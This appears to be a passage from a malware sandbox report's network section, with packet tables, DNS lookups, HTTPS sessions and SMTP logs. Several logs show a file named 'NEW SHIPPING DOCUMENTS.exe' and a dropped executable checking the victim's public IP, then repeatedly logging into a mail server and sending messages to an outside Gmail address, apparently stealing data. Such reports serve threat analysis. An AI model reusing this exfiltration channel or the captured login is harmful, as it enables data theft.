Jan 15, 2025 08:44:16.420720100 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.420734882 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.420768023 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.420825005 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.420835972 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.420845985 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.420855045 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.420876026 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.420953989 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.424591064 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.424731016 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.425549984 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.425618887 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.425635099 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.425679922 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.425813913 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.425825119 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.425836086 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.425863028 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.425929070 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.425991058 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426114082 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426122904 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426126957 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426184893 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426194906 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426281929 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426291943 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426326990 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426372051 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426424026 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426433086 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426495075 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426506042 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426515102 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.426523924 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.429522991 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.430444002 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.430454016 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.430466890 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.430481911 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.430500031 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.430509090 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.430516958 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.430526018 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.547022104 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.547282934 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.547282934 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.547343016 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.547343016 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.549911022 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.552175999 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.552190065 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.552200079 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.552249908 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.552405119 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.554733992 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.554744005 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.554760933 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.554770947 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.554786921 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.554797888 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.554802895 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.554807901 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.554831028 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.554874897 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.555058002 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.555068016 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.555123091 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.557235956 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.557421923 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.559587002 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.559665918 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.559717894 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.559766054 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.559776068 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.559777021 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.559807062 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.559855938 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.559885979 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.559921026 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.560024023 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.562277079 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.562352896 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.564678907 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.564730883 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.564742088 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.564768076 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.564796925 CET	50026	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:16.564802885 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.564814091 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.564824104 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.564842939 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565007925 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565017939 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565036058 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565045118 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565053940 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565057993 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565073013 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565083027 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565093040 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565100908 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565126896 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565135956 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565192938 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565201998 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565211058 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.565222979 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.567238092 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.567248106 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.567256927 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.567329884 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.569606066 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.569616079 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.569648027 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.569658041 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.569703102 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.569713116 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.569721937 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.872215033 CET	587	50025	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:16.918571949 CET	50025	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:44:17.008769989 CET	587	50026	212.44.102.65	192.168.2.6
Jan 15, 2025 08:44:17.059189081 CET	50026	587	192.168.2.6	212.44.102.65

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 08:40:07.138700962 CET	65093	53	192.168.2.6	1.1.1.1
Jan 15, 2025 08:40:07.145519018 CET	53	65093	1.1.1.1	192.168.2.6
Jan 15, 2025 08:40:09.180217981 CET	58294	53	192.168.2.6	1.1.1.1
Jan 15, 2025 08:40:09.233484030 CET	53	58294	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 08:40:07.138700962 CET	192.168.2.6	1.1.1.1	0x4ae4	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:40:09.180217981 CET	192.168.2.6	1.1.1.1	0xc5b2	Standard query (0)	mail.stilbo.eu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 08:40:07.145519018 CET	1.1.1.1	192.168.2.6	0x4ae4	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:40:07.145519018 CET	1.1.1.1	192.168.2.6	0x4ae4	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:40:07.145519018 CET	1.1.1.1	192.168.2.6	0x4ae4	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:40:09.233484030 CET	1.1.1.1	192.168.2.6	0xc5b2	No error (0)	mail.stilbo.eu	212.44.102.65	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	104.26.13.205	443	7140	C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:40:07 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2025-01-15 07:40:07 UTC	426	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:40:07 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 902437454fe6369c-YYZ server-timing: cfL4;desc="?proto=TCP&rtt=60622&min_rtt=13936&rtt_var=34261&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2818&recv_bytes=769&delivery_rate=209529&cwnd=32&unsent_bytes=0&cid=6d6b4884a0fd8239&ts=243&x=0"
2025-01-15 07:40:07 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49717	104.26.13.205	443	6820	C:\Users\user\AppData\Roaming\RvUJzKx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:40:12 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2025-01-15 07:40:12 UTC	425	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:40:12 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 9024375fec62a234-YYZ server-timing: cfL4;desc="?proto=TCP&rtt=13717&min_rtt=13707&rtt_var=5161&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2819&recv_bytes=769&delivery_rate=211732&cwnd=32&unsent_bytes=0&cid=5b8f81c181b1fab7&ts=186&x=0"
2025-01-15 07:40:12 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 15, 2025 08:40:09.925712109 CET	587	49714	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:40:09 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:40:09.926049948 CET	49714	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:40:10.121700048 CET	587	49714	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:40:10.122991085 CET	49714	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:40:10.325176001 CET	587	49714	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:40:10.562782049 CET	587	49714	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:40:10.563285112 CET	49714	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:40:10.770340919 CET	587	49714	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:40:10.770765066 CET	49714	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:40:11.017138958 CET	587	49714	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:40:11.025093079 CET	49714	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:40:11.220256090 CET	587	49714	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:40:11.220942974 CET	49714	587	192.168.2.6	212.44.102.65	.
Jan 15, 2025 08:40:11.448425055 CET	587	49714	212.44.102.65	192.168.2.6	250 OK id=1tXy0Z-0001pU-0P
Jan 15, 2025 08:40:13.412331104 CET	587	49724	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:40:13 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:40:13.412524939 CET	49724	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:40:13.629858971 CET	587	49724	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:40:13.635843992 CET	49724	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:40:13.831886053 CET	587	49724	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:40:14.081362963 CET	587	49724	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:40:14.081638098 CET	49724	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:40:14.278748989 CET	587	49724	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:40:14.278915882 CET	49724	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:40:14.529468060 CET	587	49724	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:40:14.530071974 CET	49724	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:40:14.725944996 CET	587	49724	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:40:14.726643085 CET	49724	587	192.168.2.6	212.44.102.65	.
Jan 15, 2025 08:40:14.998917103 CET	587	49724	212.44.102.65	192.168.2.6	250 OK id=1tXy0c-0001qv-22
Jan 15, 2025 08:41:24.292192936 CET	49714	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:41:24.689810991 CET	587	49714	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:41:25.298851013 CET	587	49994	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:41:25 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:41:25.299032927 CET	49994	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:41:25.497714996 CET	587	49994	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:41:25.497910976 CET	49994	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:41:25.696139097 CET	587	49994	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:41:25.943561077 CET	587	49994	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:41:25.945471048 CET	49994	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:41:26.143412113 CET	587	49994	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:41:26.143606901 CET	49994	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:41:26.412873983 CET	587	49994	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:41:26.413207054 CET	49994	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:41:26.611443043 CET	587	49994	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:41:27.176697016 CET	587	49994	212.44.102.65	192.168.2.6	250 OK id=1tXy1m-00027Z-1f
Jan 15, 2025 08:41:34.709935904 CET	49724	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:41:35.108774900 CET	587	49724	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:41:35.702776909 CET	587	49996	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:41:35 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:41:35.702933073 CET	49996	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:41:35.897150993 CET	587	49996	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:41:35.897429943 CET	49996	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:41:36.110727072 CET	587	49996	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:41:36.319070101 CET	587	49996	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:41:36.321355104 CET	49996	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:41:36.515906096 CET	587	49996	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:41:36.516021967 CET	49996	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:41:36.765903950 CET	587	49996	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:41:36.766086102 CET	49996	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:41:36.960134029 CET	587	49996	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:41:37.439608097 CET	587	49996	212.44.102.65	192.168.2.6	250 OK id=1tXy1w-0002BR-2n
Jan 15, 2025 08:41:39.960433960 CET	49996	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:41:40.357811928 CET	587	49996	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:41:40.984235048 CET	587	49997	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:41:40 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:41:40.984375000 CET	49997	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:41:41.184407949 CET	587	49997	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:41:41.184571981 CET	49997	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:41:41.388041019 CET	587	49997	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:41:41.647067070 CET	587	49997	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:41:41.649408102 CET	49997	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:41:41.849107027 CET	587	49997	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:41:41.853272915 CET	49997	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:41:42.113255024 CET	587	49997	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:41:42.113564014 CET	49997	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:41:42.313498974 CET	587	49997	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:41:42.777141094 CET	587	49997	212.44.102.65	192.168.2.6	250 OK id=1tXy22-0002DI-0h
Jan 15, 2025 08:42:02.926213980 CET	49997	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:42:03.329153061 CET	587	49997	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:42:04.114955902 CET	587	49999	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:42:03 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:42:04.115557909 CET	49999	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:42:04.309883118 CET	587	49999	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:42:04.313532114 CET	49999	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:42:04.508640051 CET	587	49999	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:42:04.722531080 CET	587	49999	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:42:04.722662926 CET	49999	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:42:04.921024084 CET	587	49999	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:42:04.921170950 CET	49999	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:42:05.173600912 CET	587	49999	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:42:05.174046040 CET	49999	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:42:05.368990898 CET	587	49999	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:42:05.390924931 CET	49999	587	192.168.2.6	212.44.102.65	.
Jan 15, 2025 08:42:05.879434109 CET	587	49999	212.44.102.65	192.168.2.6	250 OK id=1tXy2P-0002GX-0t
Jan 15, 2025 08:42:20.702733994 CET	49999	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:42:21.099611044 CET	587	49999	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
Jan 15, 2025 08:42:21.695286989 CET	587	50001	212.44.102.65	192.168.2.6	220-rcp-9.controlpanel.si ESMTP Exim 4.96.2 #2 Wed, 15 Jan 2025 08:42:21 +0100 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jan 15, 2025 08:42:21.700335026 CET	50001	587	192.168.2.6	212.44.102.65	EHLO 549163
Jan 15, 2025 08:42:21.895622015 CET	587	50001	212.44.102.65	192.168.2.6	250-rcp-9.controlpanel.si Hello 549163 [8.46.123.189] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jan 15, 2025 08:42:21.897586107 CET	50001	587	192.168.2.6	212.44.102.65	AUTH login Ym9nZGFuLmhhZm5lckBzdGlsYm8uZXU=
Jan 15, 2025 08:42:22.093012094 CET	587	50001	212.44.102.65	192.168.2.6	334 UGFzc3dvcmQ6
Jan 15, 2025 08:42:22.306224108 CET	587	50001	212.44.102.65	192.168.2.6	235 Authentication succeeded
Jan 15, 2025 08:42:22.309845924 CET	50001	587	192.168.2.6	212.44.102.65	MAIL FROM:<bogdan.hafner@stilbo.eu>
Jan 15, 2025 08:42:22.504766941 CET	587	50001	212.44.102.65	192.168.2.6	250 OK
Jan 15, 2025 08:42:22.512413025 CET	50001	587	192.168.2.6	212.44.102.65	RCPT TO:<jinhux31@gmail.com>
Jan 15, 2025 08:42:22.759773016 CET	587	50001	212.44.102.65	192.168.2.6	250 Accepted
Jan 15, 2025 08:42:22.759938955 CET	50001	587	192.168.2.6	212.44.102.65	DATA
Jan 15, 2025 08:42:22.955385923 CET	587	50001	212.44.102.65	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 15, 2025 08:42:23.457259893 CET	587	50001	212.44.102.65	192.168.2.6	250 OK id=1tXy2g-0002LZ-2m
Jan 15, 2025 08:42:23.609373093 CET	50001	587	192.168.2.6	212.44.102.65	QUIT
Jan 15, 2025 08:42:24.006398916 CET	587	50001	212.44.102.65	192.168.2.6	221 rcp-9.controlpanel.si closing connection
